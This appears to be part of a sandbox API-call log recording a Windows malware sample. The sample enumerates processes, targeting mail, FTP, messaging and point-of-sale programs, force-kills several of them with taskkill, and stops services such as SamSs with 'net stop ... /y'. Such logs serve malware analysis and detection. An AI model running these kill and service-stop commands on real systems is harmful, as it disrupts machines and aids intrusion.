	[0104.530] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0104.533] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0104.545] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0104.548] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0104.552] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0104.555] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0105.322] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0105.325] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0105.328] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0105.331] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0105.334] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0105.337] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0107.509] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0107.513] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0107.517] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0107.520] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0107.523] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0107.526] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0107.529] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0107.533] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0107.536] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0107.662] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0107.665] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0107.668] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0107.671] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0107.674] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0107.677] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0107.680] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0107.683] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0107.686] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0107.689] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0107.692] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0107.694] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0107.697] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0107.700] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0107.942] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0107.945] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0107.947] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0107.950] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0107.953] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0107.955] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0107.958] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0107.961] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="sawwhuyculan.exe")) returned 0
	[0107.962] CloseHandle (hObject=0x178) returned 1
	[0107.962] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2bf6e0
	[0107.969] EnumServicesStatusW (in: hSCManager=0x2bf6e0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0107.976] VirtualAlloc (lpAddress=0x0, dwSize=0x17c5, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000
	[0107.977] EnumServicesStatusW (in: hSCManager=0x2bf6e0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x1e0000, cbBufSize=0x17c5, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x1e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0107.980] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"audioendpointbuilder\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0109.497] Sleep (dwMilliseconds=0x96) 
	[0111.159] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0111.914] Sleep (dwMilliseconds=0x96) 
	[0112.192] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.193] Sleep (dwMilliseconds=0xc350) 
	[0123.991] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x3a4
	[0124.025] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0124.029] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0124.032] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0124.298] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0124.302] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0124.305] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0124.308] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0124.311] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0124.314] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0124.318] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0124.321] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.324] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.327] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.331] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.648] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.651] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.654] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.658] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0124.661] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0124.664] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0124.668] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0124.671] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.677] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0124.680] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0124.684] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.687] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0124.690] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0124.979] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0124.983] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="wordpress.exe")) returned 1
	[0124.986] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM wordpress.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0127.664] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0127.667] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0127.670] Process32NextW (in: hSnapshot=0x3a4, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
